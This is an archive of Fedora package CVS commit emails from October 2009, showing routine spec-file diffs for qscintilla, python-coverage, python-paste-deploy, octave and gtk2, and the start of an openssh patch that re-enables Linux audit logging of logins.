* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.4-5
- rebuild (PyQt4)



Index: qscintilla.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qscintilla/devel/qscintilla.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- qscintilla.spec	11 Aug 2009 17:43:51 -0000	1.29
+++ qscintilla.spec	17 Oct 2009 03:05:36 -0000	1.30
@@ -6,7 +6,7 @@
 
 Name:    qscintilla
 Version: 2.4
-Release: 4%{?dist}
+Release: 5%{?dist}
 Summary: A Scintilla port to Qt
 # matches up (pretty much) with qt4
 License: GPLv3 or GPLv2 with exceptions
@@ -26,7 +26,11 @@ BuildRequires:  qt4-devel
 # for -python
 %if 0%{?python}
 %{!?python_sitearch:%global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
+%if 0%{?fedora} > 12
+%global pyqt4_version 4.6
+%else
 %global pyqt4_version 4.5
+%endif
 BuildRequires:  PyQt4-devel >= %{pyqt4_version} 
 BuildRequires:  chrpath
 %endif
@@ -152,6 +156,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 16 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.4-5
+- rebuild (PyQt4)
+
 * Tue Aug 11 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.4-4
 - -python-devel: make noarch, drop dep on -python
 



From lmacken at fedoraproject.org  Sat Oct 17 03:14:08 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Sat, 17 Oct 2009 03:14:08 +0000 (UTC)
Subject: rpms/python-coverage/devel .cvsignore, 1.3, 1.4 python-coverage.spec,
	1.4, 1.5 sources, 1.3, 1.4
Message-ID: <20091017031408.6D43611C00E5@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-coverage/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8226

Modified Files:
	.cvsignore python-coverage.spec sources 
Log Message:
Update to 3.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-coverage/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	20 Aug 2009 02:05:03 -0000	1.3
+++ .cvsignore	17 Oct 2009 03:14:08 -0000	1.4
@@ -1 +1 @@
-coverage-3.0.1.tar.gz
+coverage-3.1.tar.gz


Index: python-coverage.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-coverage/devel/python-coverage.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- python-coverage.spec	20 Aug 2009 02:05:03 -0000	1.4
+++ python-coverage.spec	17 Oct 2009 03:14:08 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:			python-coverage
 Summary:		Code coverage testing module for Python
-Version:		3.0.1
+Version:		3.1
 Release:		1%{?dist}
 License:		BSD
 Group:			System Environment/Libraries
@@ -41,6 +41,9 @@ rm -rf %{buildroot}
 %{python_sitearch}/coverage*.egg-info/
 
 %changelog
+* Fri Oct 16 2009 Luke Macken <lmacken at redhat.com> - 3.1-1
+- Update to 3.1
+
 * Wed Aug 10 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.0.1-1
 - update to 3.0.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-coverage/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	20 Aug 2009 02:05:03 -0000	1.3
+++ sources	17 Oct 2009 03:14:08 -0000	1.4
@@ -1 +1 @@
-b299c33b169bd796a6186a1f0f42a7da  coverage-3.0.1.tar.gz
+113234cb050a179a3c6e2f11edab46a1  coverage-3.1.tar.gz



From lmacken at fedoraproject.org  Sat Oct 17 03:18:47 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Sat, 17 Oct 2009 03:18:47 +0000 (UTC)
Subject: rpms/python-paste-deploy/EL-5 .cvsignore, 1.7,
	1.8 python-paste-deploy.spec, 1.8, 1.9 sources, 1.7, 1.8
Message-ID: <20091017031847.D577C11C00E5@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-paste-deploy/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8864

Modified Files:
	.cvsignore python-paste-deploy.spec sources 
Log Message:
Update to 1.3.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-paste-deploy/EL-5/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	23 Oct 2008 20:42:19 -0000	1.7
+++ .cvsignore	17 Oct 2009 03:18:47 -0000	1.8
@@ -1 +1 @@
-PasteDeploy-1.3.2.tar.gz
+PasteDeploy-1.3.3.tar.gz


Index: python-paste-deploy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-paste-deploy/EL-5/python-paste-deploy.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- python-paste-deploy.spec	23 Oct 2008 20:42:19 -0000	1.8
+++ python-paste-deploy.spec	17 Oct 2009 03:18:47 -0000	1.9
@@ -2,7 +2,7 @@
 %{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           python-paste-deploy
-Version:        1.3.2
+Version:        1.3.3
 Release:        1%{?dist}
 Summary:        Load, configure, and compose WSGI applications and servers
 Group:          System Environment/Libraries
@@ -56,6 +56,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sun May 31 2009 Luke Macken <lmacken at redhat.com> - 1.3.3-1
+- Update to 1.3.3
+
 * Sat Jun 14 2008 Luke Macken <lmacken at redhat.com> - 1.3.2-3
 - Update to PasteDeploy 1.3.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-paste-deploy/EL-5/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	23 Oct 2008 20:42:19 -0000	1.7
+++ sources	17 Oct 2009 03:18:47 -0000	1.8
@@ -1 +1 @@
-877fcf3fa025a65147fbae87e1765b65  PasteDeploy-1.3.2.tar.gz
+0598aa8ab4184ea8087839b811f92284  PasteDeploy-1.3.3.tar.gz



From alexlan at fedoraproject.org  Sat Oct 17 03:19:03 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Sat, 17 Oct 2009 03:19:03 +0000 (UTC)
Subject: rpms/octave/F-11 .cvsignore, 1.24, 1.25 octave.spec, 1.80,
	1.81 sources, 1.24, 1.25
Message-ID: <20091017031903.9696D11C00E5@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/octave/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8971

Modified Files:
	.cvsignore octave.spec sources 
Log Message:
Update F-11 branch to 3.2.3 (#525423).



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/octave/F-11/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	12 Apr 2009 16:12:05 -0000	1.24
+++ .cvsignore	17 Oct 2009 03:19:03 -0000	1.25
@@ -1 +1 @@
-octave-3.0.5.tar.bz2
+octave-3.2.3.tar.bz2


Index: octave.spec
===================================================================
RCS file: /cvs/pkgs/rpms/octave/F-11/octave.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- octave.spec	12 Apr 2009 16:12:05 -0000	1.80
+++ octave.spec	17 Oct 2009 03:19:03 -0000	1.81
@@ -1,30 +1,29 @@
 # From src/version.h:#define OCTAVE_API_VERSION
-%define octave_api api-v32
+%define octave_api api-v37
 
 Name:           octave
-Version:        3.0.5
+Version:        3.2.3
 Release:        1%{?dist}
 Summary:        A high-level language for numerical computations
 Epoch:          6
-
 Group:          Applications/Engineering
 License:        GPLv3+
 Source:         ftp://ftp.octave.org/pub/octave/octave-%{version}.tar.bz2
-#Patch1:         %{name}-sh-arch.patch
-#Patch2:         %{name}-gcc44.patch
 URL:            http://www.octave.org
-Requires:       gnuplot less info texinfo 
-Requires(post): /sbin/install-info
-Requires(postun): /sbin/ldconfig
-Requires(post): /sbin/ldconfig
-Requires(preun): /sbin/install-info
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+Provides:       octave(api) = %{octave_api}
+
 BuildRequires:  bison flex less tetex gcc-gfortran lapack-devel blas-devel
 BuildRequires:  ncurses-devel zlib-devel hdf5-devel texinfo qhull-devel
 BuildRequires:  readline-devel glibc-devel fftw-devel gperf ghostscript
-BuildRequires:  curl-devel pcre-devel
+BuildRequires:  curl-devel pcre-devel texinfo-tex arpack-devel libX11-devel
 BuildRequires:  suitesparse-devel glpk-devel gnuplot desktop-file-utils
-Provides:       octave(api) = %{octave_api}
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildRequires:  GraphicsMagick-c++-devel fltk-devel ftgl-devel qrupdate-devel
+
+Requires:        gnuplot gnuplot-common less info texinfo 
+Requires(post):  info
+Requires(preun): info
 
 
 %description
@@ -54,6 +53,16 @@ The octave-devel package contains files 
 applications which use GNU Octave.
 
 
+%package doc
+Summary:        Documentation for Octave
+Group:          Documentation
+%if 0%{?fedora} > 10 || 0%{?rhel} > 5
+BuildArch:      noarch
+%endif
+
+%description doc
+This package contains documentation for Octave.
+
 %prep
 %setup -q
 # Check that octave_api is set correctly
@@ -63,30 +72,28 @@ then
   exit 1
 fi
 
-# patch for sh arch
-#%patch1 -p1 -b .sh-arch
-# patch for gcc 4.4
-#%patch2 -p1 -b .gcc44
-
 %build
-%define enable64 no
+%global enable64 no
 export CPPFLAGS="-DH5_USE_16_API"
-%configure --enable-shared --disable-static --enable-64=%enable64 --with-f77=gfortran
-make %{?_smp_mflags} OCTAVE_RELEASE="Fedora %{version}-%{release}"
-
+%configure --enable-shared --disable-static --enable-64=%enable64 F77=gfortran
+# SMP make doesn't work in Octave 3.2.2
+#make %{?_smp_mflags} OCTAVE_RELEASE="Fedora %{version}-%{release}"
+make OCTAVE_RELEASE="Fedora %{version}-%{release}"
 
 %install
-rm -rf $RPM_BUILD_ROOT
-make install DESTDIR=$RPM_BUILD_ROOT
-rm -f ${RPM_BUILD_ROOT}%{_infodir}/dir
+rm -rf %{buildroot}
+make install DESTDIR=%{buildroot}
+rm -f %{buildroot}%{_infodir}/dir
 
 # Make library links
-mkdir -p $RPM_BUILD_ROOT/etc/ld.so.conf.d
-echo "%{_libdir}/octave-%{version}" > $RPM_BUILD_ROOT/etc/ld.so.conf.d/octave-%{_arch}.conf
+mkdir -p %{buildroot}/etc/ld.so.conf.d
+echo "%{_libdir}/octave-%{version}" > %{buildroot}/etc/ld.so.conf.d/octave-%{_arch}.conf
 
 # Remove RPM_BUILD_ROOT from ls-R files
-perl -pi -e "s,$RPM_BUILD_ROOT,," $RPM_BUILD_ROOT%{_libexecdir}/%{name}/ls-R
-perl -pi -e "s,$RPM_BUILD_ROOT,," $RPM_BUILD_ROOT%{_datadir}/%{name}/ls-R
+perl -pi -e "s,%{buildroot},," %{buildroot}%{_libexecdir}/%{name}/ls-R
+perl -pi -e "s,%{buildroot},," %{buildroot}%{_datadir}/%{name}/ls-R
+# Make sure ls-R exists
+touch %{buildroot}%{_datadir}/%{name}/ls-R
 
 # Clean doc directory
 pushd doc
@@ -95,58 +102,106 @@ pushd doc
 popd
 
 # Create desktop file
-rm $RPM_BUILD_ROOT%{_datadir}/applications/www.octave.org-octave.desktop
-desktop-file-install --vendor fedora --add-category X-Fedora --remove-category Development \
-	--dir $RPM_BUILD_ROOT%{_datadir}/applications examples/octave.desktop
+rm %{buildroot}%{_datadir}/applications/www.octave.org-octave.desktop
+desktop-file-install --vendor fedora --remove-category Development --add-category "Education" \
+  --add-category "DataVisualization" --add-category "NumericalAnalysis" --add-category "Engineering" --add-category "Physics" \
+  --dir %{buildroot}%{_datadir}/applications examples/octave.desktop
 
 # Create directories for add-on packages
-HOST_TYPE=`$RPM_BUILD_ROOT%{_bindir}/octave-config -p CANONICAL_HOST_TYPE`
-mkdir -p $RPM_BUILD_ROOT%{_libexecdir}/%{name}/site/oct/%{octave_api}/$HOST_TYPE
-mkdir -p $RPM_BUILD_ROOT%{_libexecdir}/%{name}/site/oct/$HOST_TYPE
-mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/packages
-touch $RPM_BUILD_ROOT%{_datadir}/%{name}/octave_packages
+HOST_TYPE=`%{buildroot}%{_bindir}/octave-config -p CANONICAL_HOST_TYPE`
+mkdir -p %{buildroot}%{_libexecdir}/%{name}/site/oct/%{octave_api}/$HOST_TYPE
+mkdir -p %{buildroot}%{_libexecdir}/%{name}/site/oct/$HOST_TYPE
+mkdir -p %{buildroot}%{_datadir}/%{name}/packages
+touch %{buildroot}%{_datadir}/%{name}/octave_packages
+
+# Create interpreter documentation directory
+mkdir interpreter
+cp -a doc/interpreter/*.pdf doc/interpreter/HTML/ interpreter/
 
+%check
+make check
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 %post
 /sbin/ldconfig
 /sbin/install-info --info-dir=%{_infodir} --section="Programming" \
-	%{_infodir}/octave.info || :
+        %{_infodir}/octave.info || :
 
 %preun
 if [ "$1" = "0" ]; then
    /sbin/install-info --delete --info-dir=%{_infodir} %{_infodir}/octave.info || :
 fi
 
-
 %postun -p /sbin/ldconfig
 
 %files
-%defattr(-,root,root)
+%defattr(-,root,root,-)
 %doc COPYING NEWS* PROJECTS README README.Linux README.kpathsea ROADMAP
-%doc SENDING-PATCHES THANKS emacs examples doc/interpreter/octave.p*
-%doc doc/faq doc/interpreter/HTML doc/refcard
+%doc SENDING-PATCHES emacs/
+# FIXME: Create an -emacs package that has the emacs addon
+%config /etc/ld.so.conf.d/octave-*.conf
 %{_bindir}/octave*
-%config(noreplace) /etc/ld.so.conf.d/*
-%{_libdir}/octave*
-%{_datadir}/octave
-%ghost %{_datadir}/octave/octave_packages
-%{_libexecdir}/octave
-%{_mandir}/man*/octave*
+%{_libdir}/octave-%{version}/
+%{_libexecdir}/octave/
+%{_mandir}/man1/octave*.1.*
 %{_infodir}/octave.info*
-%{_datadir}/applications/*
+%{_datadir}/applications/fedora-octave.desktop
+# octave_packages is %ghost, so need to list everything else separately
+%dir %{_datadir}/octave
+%{_datadir}/octave/%{version}/
+%{_datadir}/octave/ls-R
+%ghost %{_datadir}/octave/octave_packages
+%{_datadir}/octave/packages/
+%{_datadir}/octave/site/
 
 %files devel
-%defattr(-,root,root)
-%doc doc/liboctave
-%{_bindir}/mkoctfile*
-%{_includedir}/octave-%{version}
-%{_mandir}/man*/mkoctfile*
+%defattr(-,root,root,-)
+%{_bindir}/mkoctfile
+%{_bindir}/mkoctfile-%{version}
+%{_includedir}/octave-%{version}/
+%{_mandir}/man1/mkoctfile.1.*
+
+%files doc
+%defattr(-,root,root,-)
+%doc doc/liboctave/HTML/ doc/liboctave/liboctave.pdf
+%doc doc/faq/Octave-FAQ.pdf doc/refcard/*.pdf
+%doc examples/ interpreter 
 
 
 %changelog
+* Tue Sep 29 2009 Orion Poplawski <orion at cora.nwra.com> - 6:3.2.3-1
+- Update to 3.2.3
+- Re-add make check
+
+* Tue Sep 22 2009 Rakesh Pandit <rakesh at fedoraproject.org> - 6:3.2.2-5
+- Added categories to desktop file: Education, DataVisualization, NumericalAnalysis 
+
+* Mon Sep  7 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 6:3.2.2-4
+- Rebuild against new ATLAS
+
+* Sun Sep  6 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 6:3.2.2-3
+- Disable make check temporarily to get a build against newly fixed lapack
+
+* Wed Sep 2 2009 Orion Poplawski <orion at cora.nwra.com> - 6:3.2.2-2
+- Add make check
+
+* Fri Jul 31 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 6:3.2.2-1
+- Update to latest upstream (3.2.2).
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6:3.2.0-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Jul 13 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 6:3.2.0-2
+- Added BR: ftgl-devel for native graphics.
+- Dropped obsolete X-Fedora category from desktop file.
+- Macro use unifications.
+- Branch documentation into its own subpackage.
+
+* Sat Jul 11 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 6:3.2.0-1
+- Update to latest upstream (3.2.0).
+
 * Sun Apr 12 2009 Rakesh Pandit <rakesh at fedoraproject.org> - 6:3.0.5-1
 - Updated to latest upstream (3.0.5)
 
@@ -312,7 +367,7 @@ fi
 * Fri Nov 11 2005 Quentin Spencer <qspencer at users.sourceforge.net> 2.9.4-1
 - New upstream release.
 - Patch to make sure all headers are included in -devel.
-- PKG_ADD file now needs $RPM_BUILD_ROOT stripped from it.
+- PKG_ADD file now needs %{buildroot} stripped from it.
 - Cleanup errors in dependencies.
 
 * Tue Oct 25 2005 Quentin Spencer <qspencer at users.sourceforge.net> 2.9.3-6
@@ -634,7 +689,7 @@ does not exist.
 - repackage in powertools.
 
 * Thu Jun 11 1998 Andrew Veliath <andrewtv at usa.net>
-- Add %attr, build as user.
+- Add %%attr, build as user.
 
 * Mon Jun 1 1998 Andrew Veliath <andrewtv at usa.net>
 - Add BuildRoot, installinfo, require gnuplot, description from


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/octave/F-11/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	12 Apr 2009 16:12:05 -0000	1.24
+++ sources	17 Oct 2009 03:19:03 -0000	1.25
@@ -1 +1 @@
-bfba44eeda8fa6e29c2bbcd2604c34eb  octave-3.0.5.tar.bz2
+eecaa1a3b2da3b94fa7bcebbc4f1a1f2  octave-3.2.3.tar.bz2



From mclasen at fedoraproject.org  Sat Oct 17 05:29:19 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 17 Oct 2009 05:29:19 +0000 (UTC)
Subject: rpms/gtk2/F-12 .cvsignore, 1.119, 1.120 gtk2.spec, 1.412,
	1.413 sources, 1.128, 1.129
Message-ID: <20091017052919.192CA11C00EC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24560

Modified Files:
	.cvsignore gtk2.spec sources 
Log Message:
2.18.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/.cvsignore,v
retrieving revision 1.119
retrieving revision 1.120
diff -u -p -r1.119 -r1.120
--- .cvsignore	5 Oct 2009 22:09:17 -0000	1.119
+++ .cvsignore	17 Oct 2009 05:29:18 -0000	1.120
@@ -1 +1 @@
-gtk+-2.18.2.tar.bz2
+gtk+-2.18.3.tar.bz2


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.412
retrieving revision 1.413
diff -u -p -r1.412 -r1.413
--- gtk2.spec	13 Oct 2009 20:07:01 -0000	1.412
+++ gtk2.spec	17 Oct 2009 05:29:18 -0000	1.413
@@ -11,13 +11,13 @@
 %define libpng_version 2:1.2.2-16
 %define xrandr_version 1.2.99.4-2
 
-%define base_version 2.18.2
+%define base_version 2.18.3
 %define bin_version 2.10.0
 
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 3%{?dist}
+Release: 1%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -27,11 +27,7 @@ Source3: im-cedilla.conf
 
 # Biarch changes
 Patch0: gtk+-2.13.5-lib64.patch
-
-# from upstream
-Patch1: select-final-char.patch
-
-Patch2: system-python.patch
+Patch1: system-python.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -143,8 +139,7 @@ This package contains developer document
 %setup -q -n gtk+-%{version}
 
 %patch0 -p1 -b .lib64
-%patch1 -p1 -b .select-final-char
-%patch2 -p1 -b .system-python
+%patch1 -p1 -b .system-python
 
 %build
 libtoolize --force --copy
@@ -381,6 +376,9 @@ fi
 
 
 %changelog
+* Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-1
+- Update to 2.18.3
+
 * Tue Oct 13 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.2-3
 - Make gtk-builder-convert use system python
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/sources,v
retrieving revision 1.128
retrieving revision 1.129
diff -u -p -r1.128 -r1.129
--- sources	5 Oct 2009 22:09:18 -0000	1.128
+++ sources	17 Oct 2009 05:29:18 -0000	1.129
@@ -1 +1 @@
-9477986b58d7ee5e559b96e7a124bead  gtk+-2.18.2.tar.bz2
+369e173600efc272131b53b1902679e8  gtk+-2.18.3.tar.bz2



From jfch2222 at fedoraproject.org  Sat Oct 17 07:46:51 2009
From: jfch2222 at fedoraproject.org (Jan F. Chadima)
Date: Sat, 17 Oct 2009 07:46:51 +0000 (UTC)
Subject: rpms/openssh/devel openssh-5.3p1-audit.patch, NONE, 1.1 openssh.spec,
	1.172, 1.173
Message-ID: <20091017074651.4670B11C00EC@cvs1.fedora.phx.redhat.com>

Author: jfch2222

Update of /cvs/pkgs/rpms/openssh/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22004

Modified Files:
	openssh.spec 
Added Files:
	openssh-5.3p1-audit.patch 
Log Message:
Renable audit.


openssh-5.3p1-audit.patch:
 auth.c       |   10 ++++++
 config.h.in  |   13 ++++++++
 configure.ac |   13 ++++++++
 loginrec.c   |   92 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 loginrec.h   |    4 ++
 5 files changed, 132 insertions(+)

--- NEW FILE openssh-5.3p1-audit.patch ---
diff -up openssh-5.3p1/auth.c.audit openssh-5.3p1/auth.c
--- openssh-5.3p1/auth.c.audit	2008-11-05 06:12:54.000000000 +0100
+++ openssh-5.3p1/auth.c	2009-10-11 13:02:47.000000000 +0200
@@ -287,6 +287,12 @@ auth_log(Authctxt *authctxt, int authent
 		    get_canonical_hostname(options.use_dns), "ssh", &loginmsg);
 # endif
 #endif
+#if HAVE_LINUX_AUDIT
+	if (authenticated == 0 && !authctxt->postponed) {
+		linux_audit_record_event(-1, authctxt->user, NULL,
+			get_remote_ipaddr(), "sshd", 0);
+	}
+#endif
 #ifdef SSH_AUDIT_EVENTS
 	if (authenticated == 0 && !authctxt->postponed)
 		audit_event(audit_classify_auth(method));
@@ -533,6 +539,10 @@ getpwnamallow(const char *user)
 		record_failed_login(user,
 		    get_canonical_hostname(options.use_dns), "ssh");
 #endif
+#ifdef HAVE_LINUX_AUDIT
+		linux_audit_record_event(-1, user, NULL, get_remote_ipaddr(),
+			"sshd", 0);
+#endif
 #ifdef SSH_AUDIT_EVENTS
 		audit_event(SSH_INVALID_USER);
 #endif /* SSH_AUDIT_EVENTS */
diff -up openssh-5.3p1/config.h.in.audit openssh-5.3p1/config.h.in
--- openssh-5.3p1/config.h.in.audit	2009-09-26 08:31:14.000000000 +0200
+++ openssh-5.3p1/config.h.in	2009-10-11 13:09:41.000000000 +0200
@@ -533,6 +533,9 @@
 /* Define to 1 if you have the <lastlog.h> header file. */
 #undef HAVE_LASTLOG_H
 
+/* Define to 1 if you have the <libaudit.h> header file. */
+#undef HAVE_LIBAUDIT_H
+
 /* Define to 1 if you have the `bsm' library (-lbsm). */
 #undef HAVE_LIBBSM
 
@@ -572,6 +575,9 @@
 /* Define to 1 if you have the <limits.h> header file. */
 #undef HAVE_LIMITS_H
 
+/* Define if you want Linux audit support. */
+#undef HAVE_LINUX_AUDIT
+
 /* Define to 1 if you have the <linux/if_tun.h> header file. */
 #undef HAVE_LINUX_IF_TUN_H
 
@@ -768,6 +774,9 @@
 /* Define to 1 if you have the `setgroups' function. */
 #undef HAVE_SETGROUPS
 
+/* Define to 1 if you have the `setkeycreatecon' function. */
+#undef HAVE_SETKEYCREATECON
+
 /* Define to 1 if you have the `setlogin' function. */
 #undef HAVE_SETLOGIN
 
@@ -1348,6 +1357,10 @@
 /* Prepend the address family to IP tunnel traffic */
 #undef SSH_TUN_PREPEND_AF
 
+/* Define to your vendor patch level, if it has been modified from the
+   upstream source release. */
+#undef SSH_VENDOR_PATCHLEVEL
+
 /* Define to 1 if you have the ANSI C header files. */
 #undef STDC_HEADERS
 
diff -up openssh-5.3p1/configure.ac.audit openssh-5.3p1/configure.ac
--- openssh-5.3p1/configure.ac.audit	2009-09-11 06:56:08.000000000 +0200
+++ openssh-5.3p1/configure.ac	2009-10-11 13:08:03.000000000 +0200
@@ -3407,6 +3407,18 @@ AC_ARG_WITH(selinux,
 	fi ]
 )
 
+# Check whether user wants Linux audit support
+LINUX_AUDIT_MSG="no"
+AC_ARG_WITH(linux-audit,
+	[  --with-linux-audit   Enable Linux audit support],
+	[ if test "x$withval" != "xno" ; then
+		AC_DEFINE(HAVE_LINUX_AUDIT,1,[Define if you want Linux audit support.])
+		LINUX_AUDIT_MSG="yes"
+		AC_CHECK_HEADERS(libaudit.h)
+		SSHDLIBS="$SSHDLIBS -laudit"
+	fi ]
+)
+
 # Check whether user wants Kerberos 5 support
 KRB5_MSG="no"
 AC_ARG_WITH(kerberos5,
@@ -4226,6 +4238,7 @@ echo "                       PAM support
 echo "                   OSF SIA support: $SIA_MSG"
 echo "                 KerberosV support: $KRB5_MSG"
 echo "                   SELinux support: $SELINUX_MSG"
+echo "               Linux audit support: $LINUX_AUDIT_MSG"
 echo "                 Smartcard support: $SCARD_MSG"
 echo "                     S/KEY support: $SKEY_MSG"
 echo "              TCP Wrappers support: $TCPW_MSG"
diff -up openssh-5.3p1/loginrec.c.audit openssh-5.3p1/loginrec.c
--- openssh-5.3p1/loginrec.c.audit	2009-02-12 03:12:22.000000000 +0100
+++ openssh-5.3p1/loginrec.c	2009-10-11 13:06:16.000000000 +0200
@@ -176,6 +176,10 @@
 #include "auth.h"
 #include "buffer.h"
 
+#ifdef HAVE_LINUX_AUDIT
+# include <libaudit.h>
+#endif
+
 #ifdef HAVE_UTIL_H
 # include <util.h>
 #endif
@@ -202,6 +206,9 @@ int utmp_write_entry(struct logininfo *l
 int utmpx_write_entry(struct logininfo *li);
 int wtmp_write_entry(struct logininfo *li);
 int wtmpx_write_entry(struct logininfo *li);
+#ifdef HAVE_LINUX_AUDIT
+int linux_audit_write_entry(struct logininfo *li);
+#endif
 int lastlog_write_entry(struct logininfo *li);
 int syslogin_write_entry(struct logininfo *li);
 
@@ -440,6 +447,10 @@ login_write(struct logininfo *li)
 
 	/* set the timestamp */
 	login_set_current_time(li);
+#ifdef HAVE_LINUX_AUDIT
+	if (linux_audit_write_entry(li) == 0)
+		fatal("linux_audit_write_entry failed: %s", strerror(errno));
+#endif
 #ifdef USE_LOGIN
 	syslogin_write_entry(li);
 #endif
@@ -1394,6 +1405,87 @@ wtmpx_get_entry(struct logininfo *li)
 }
 #endif /* USE_WTMPX */
 
+#ifdef HAVE_LINUX_AUDIT
+static void
+_audit_hexscape(const char *what, char *where, unsigned int size)
+{
+	const char *ptr = what;
+	const char *hex = "0123456789ABCDEF";
+
+	while (*ptr) {
+		if (*ptr == '"' || *ptr < 0x21 || *ptr > 0x7E) {
+			unsigned int i;
+			ptr = what;
+			for (i = 0; *ptr && i+2 < size; i += 2) {
+				where[i] = hex[((unsigned)*ptr & 0xF0)>>4]; /* Upper nibble */
+				where[i+1] = hex[(unsigned)*ptr & 0x0F];   /* Lower nibble */
+				ptr++;
+			}
+			where[i] = '\0';
+			return;
+		}
+		ptr++;
+	}
+	where[0] = '"';
+	if ((unsigned)(ptr - what) < size - 3)
+	{
+		size = ptr - what + 3;
+	}
+	strncpy(where + 1, what, size - 3);
+	where[size-2] = '"';
+	where[size-1] = '\0';
+}
+
+#define AUDIT_LOG_SIZE 128
+#define AUDIT_ACCT_SIZE (AUDIT_LOG_SIZE - 8)
+
+int
+linux_audit_record_event(int uid, const char *username,
+	const char *hostname, const char *ip, const char *ttyn, int success)
+{
+	char buf[AUDIT_LOG_SIZE];
+	int audit_fd, rc;
+
+	audit_fd = audit_open();
+	if (audit_fd < 0) {
+	 	if (errno == EINVAL || errno == EPROTONOSUPPORT ||
+					errno == EAFNOSUPPORT)
+			return 1; /* No audit support in kernel */
+		else
+			return 0; /* Must prevent login */
+	}
+	if (username == NULL)
+		snprintf(buf, sizeof(buf), "uid=%d", uid);
+	else {
+		char encoded[AUDIT_ACCT_SIZE];
+		_audit_hexscape(username, encoded, sizeof(encoded));
+		snprintf(buf, sizeof(buf), "acct=%s", encoded);
+	}
+	rc = audit_log_user_message(audit_fd, AUDIT_USER_LOGIN,
+		buf, hostname, ip, ttyn, success);
+	close(audit_fd);
+	if (rc >= 0)
+		return 1;
+	else
+		return 0;
+}
+
+int
+linux_audit_write_entry(struct logininfo *li)
+{
+	switch(li->type) {
+	case LTYPE_LOGIN:
+		return (linux_audit_record_event(li->uid, NULL, li->hostname,
+			NULL, li->line, 1));
+	case LTYPE_LOGOUT:
+		return (1);	/* We only care about logins */
+	default:
+		logit("%s: invalid type field", __func__);
+		return (0);
+	}
+}
+#endif /* HAVE_LINUX_AUDIT */
+
 /**
  ** Low-level libutil login() functions
  **/
diff -up openssh-5.3p1/loginrec.h.audit openssh-5.3p1/loginrec.h
